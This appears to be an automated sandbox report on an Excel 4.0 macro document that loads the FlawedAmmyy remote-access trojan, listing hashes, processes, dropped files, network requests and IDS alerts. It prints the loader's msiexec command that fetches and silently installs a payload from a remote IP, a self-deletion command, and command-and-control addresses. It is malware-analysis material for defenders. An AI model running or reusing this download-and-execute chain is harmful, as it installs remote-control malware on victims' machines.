File name:

df84893d492a78ea417ed9d185946b5d.xls

Full analysis: https://app.any.run/tasks/f239a7b5-c077-43c6-8764-06e864ef5bf1
Verdict: Malicious activity
Threats:

FlawedAmmmyy is a RAT type malware that can be used to perform actions remotely on an infected PC. This malware is well known for being featured in especially large campaigns with wide target demographics.

Analysis date: February 19, 2019, 01:04:19
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
exe-to-msi
rat
flawedammyy
ammyy
trojan
ta505
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Microsoft Office, Last Saved By: 1, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Dec 19 10:42:12 2018, Last Saved Time/Date: Mon Feb 18 21:53:20 2019, Security: 0
MD5:

DF84893D492A78EA417ED9D185946B5D

SHA1:

065FEE06DA93ADFF3F0B64A307333816118E7688

SHA256:

14A577109DE5CBBD1A642C638850C42F5B0CC335D8A3572EC23228786BAC1D41

SSDEEP:

3072:9Kpb8rGYrMPelwhKmFV5xtezEsgrdgLiiiiiii3kZOeX7+93plBiFUq0oXGK:9Kpb8rGYrMPelwhKmFV5xtuEsgrdgLi4

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Uses Microsoft Installer as loader

      • EXCEL.EXE (PID: 2952)
    • Downloads executable files from the Internet

      • msiexec.exe (PID: 1864)
    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 2952)
    • Downloads executable files from IP

      • msiexec.exe (PID: 1864)
    • Application was dropped or rewritten from another process

      • wsus.exe (PID: 2732)
      • wsus.exe (PID: 3656)
    • Loads the Task Scheduler COM API

      • MSI7553.tmp (PID: 2356)
    • Loads the Task Scheduler DLL interface

      • MSI7553.tmp (PID: 2356)
    • Changes the autorun value in the registry

      • MSI7553.tmp (PID: 2356)
    • FLAWEDAMMYY was detected

      • wsus.exe (PID: 2732)
    • Connects to CnC server

      • wsus.exe (PID: 2732)
  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 1864)
      • MSI7553.tmp (PID: 2356)
    • Drop ExeToMSI Application

      • msiexec.exe (PID: 1864)
    • Creates files in the program directory

      • MSI7553.tmp (PID: 2356)
    • Starts CMD.EXE for commands execution

      • MSI7553.tmp (PID: 2356)
    • Creates files in the Windows directory

      • MSI7553.tmp (PID: 2356)
  • INFO

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 2952)
    • Starts application with an unusual extension

      • msiexec.exe (PID: 1864)
    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 1864)
    • Application was dropped or rewritten from another process

      • MSI7553.tmp (PID: 2356)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (78.9)

EXIF

FlashPix

Author: Microsoft Office
LastModifiedBy: 1
Software: Microsoft Excel
CreateDate: 2018:12:19 10:42:12
ModifyDate: 2019:02:18 21:53:20
Security: None
CodePage: Windows Cyrillic
Company: Microsoft Corporation
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts:
  • Лист3
  • Макрос1
HeadingPairs:
  • Листы
  • 1
  • Макросы Excel 4.0
  • 1
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
8
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start excel.exe no specs msiexec.exe no specs msiexec.exe msi7553.tmp #FLAWEDAMMYY wsus.exe cmd.exe no specs wsus.exe no specs cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1864C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2356"C:\Windows\Installer\MSI7553.tmp"C:\Windows\Installer\MSI7553.tmp
msiexec.exe
User:
admin
Company:
IBM Controler' System Security Control
Integrity Level:
MEDIUM
Description:
IBM Controler' System Security Control
Exit code:
0
Version:
2.8.17228.1
Modules
Images
c:\windows\installer\msi7553.tmp
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winspool.drv
2732"C:\ProgramData\Microsofts Help\wsus.exe"C:\ProgramData\Microsofts Help\wsus.exe
MSI7553.tmp
User:
admin
Company:
Microsoft Block Security
Integrity Level:
MEDIUM
Description:
Microsoft Block Security
Exit code:
0
Version:
1.18.2.51920
Modules
Images
c:\programdata\microsofts help\wsus.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\secur32.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\winscard.dll
c:\windows\system32\ws2_32.dll
2888msiexec.exe val=conn rdp=redim OnLoad='c:\windows\cmd.exe' /i http://185.17.120.235/select /qC:\Windows\system32\msiexec.exeEXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2952"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
3656"C:\ProgramData\Microsofts Help\wsus.exe" C:\ProgramData\Microsofts Help\wsus.exetaskeng.exe
User:
admin
Company:
Microsoft Block Security
Integrity Level:
MEDIUM
Description:
Microsoft Block Security
Exit code:
0
Version:
1.18.2.51920
Modules
Images
c:\programdata\microsofts help\wsus.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\secur32.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\winscard.dll
c:\windows\system32\ws2_32.dll
3696"C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSI7553.tmp >> NULC:\Windows\system32\cmd.exeMSI7553.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3864"C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSI7553.tmp >> NULC:\Windows\system32\cmd.exeMSI7553.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
814
Read events
733
Write events
62
Delete events
19

Modification events

(PID) Process:(2952) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:writeName:1t/
Value:
31742F00880B0000010000000000000000000000
(PID) Process:(2952) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2952) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2952) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:writeName:MTTT
Value:
880B0000D2FD5B14EFC7D40100000000
(PID) Process:(2952) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:delete valueName:1t/
Value:
31742F00880B0000010000000000000000000000
(PID) Process:(2952) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:delete keyName:
Value:
(PID) Process:(2952) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:delete keyName:
Value:
(PID) Process:(2952) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2952) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(2952) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\246E1D
Operation:writeName:246E1D
Value:
04000000880B00004600000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C00640066003800340038003900330064003400390032006100370038006500610034003100370065006400390064003100380035003900340036006200350064002E0078006C007300000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C000100000000000000B0F3A415EFC7D4011D6E24001D6E240000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Executable files
3
Suspicious files
7
Text files
9
Unknown types
3

Dropped files

PID
Process
Filename
Type
2952EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR6811.tmp.cvr
MD5:
SHA256:
1864msiexec.exeC:\Users\admin\AppData\Local\Temp\~DFEC5787681F8FA820.TMP
MD5:
SHA256:
1864msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF5A7E7B3257A5B257.TMP
MD5:
SHA256:
1864msiexec.exeC:\Windows\Installer\MSI71D5.tmpexecutable
MD5:
SHA256:
1864msiexec.exeC:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\desktop.iniini
MD5:4A3DEB274BB5F0212C2419D3D8D08612
SHA256:2842973D15A14323E08598BE1DFB87E54BF88A76BE8C7BC94C56B079446EDF38
1864msiexec.exeC:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\PV24J9TP\desktop.iniini
MD5:4A3DEB274BB5F0212C2419D3D8D08612
SHA256:2842973D15A14323E08598BE1DFB87E54BF88A76BE8C7BC94C56B079446EDF38
1864msiexec.exeC:\Users\admin\AppData\Local\Temp\History\History.IE5\index.datdat
MD5:D7A950FEFD60DBAA01DF2D85FEFB3862
SHA256:75D0B1743F61B76A35B1FEDD32378837805DE58D79FA950CB6E8164BFA72073A
2356MSI7553.tmpC:\ProgramData\Microsofts Help\template_fde330.DATAHASHbinary
MD5:
SHA256:
1864msiexec.exeC:\Users\admin\AppData\Local\Temp\History\History.IE5\desktop.iniini
MD5:BA96961F5E22882527919E19DAEA510F
SHA256:DACE5AD59099429D8AED4EE279F1263EFB65D64456931398465A396CF0E79BD7
1864msiexec.exeC:\Windows\Installer\MSI7553.tmpexecutable
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
0
Threats
7

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1864
msiexec.exe
GET
200
185.17.120.235:80
http://185.17.120.235/select
RU
executable
168 Kb
suspicious
2356
MSI7553.tmp
GET
200
185.17.120.235:80
http://185.17.120.235/dat1.omg
RU
binary
657 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1864
msiexec.exe
185.17.120.235:80
Leaseweb Deutschland GmbH
RU
suspicious
2356
MSI7553.tmp
185.17.120.235:80
Leaseweb Deutschland GmbH
RU
suspicious
2732
wsus.exe
185.99.133.2:80
Zappie Host LLC
NZ
malicious

DNS requests

No data

Threats

PID
Process
Class
Message
1864
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
1864
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
2732
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] FlawedAmmyy.RAT
2732
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] AMMYY RAT
2732
wsus.exe
A Network Trojan was detected
ET TROJAN Win32/FlawedAmmyy RAT CnC Checkin
2732
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] FlawedAmmyy.RAT Checkin
1 ETPRO signatures available at the full report
Process
Message
MSI7553.tmp
C:\ProgramData\Microsofts Help\template_fde330.DATAHASH
MSI7553.tmp
--End Dowload--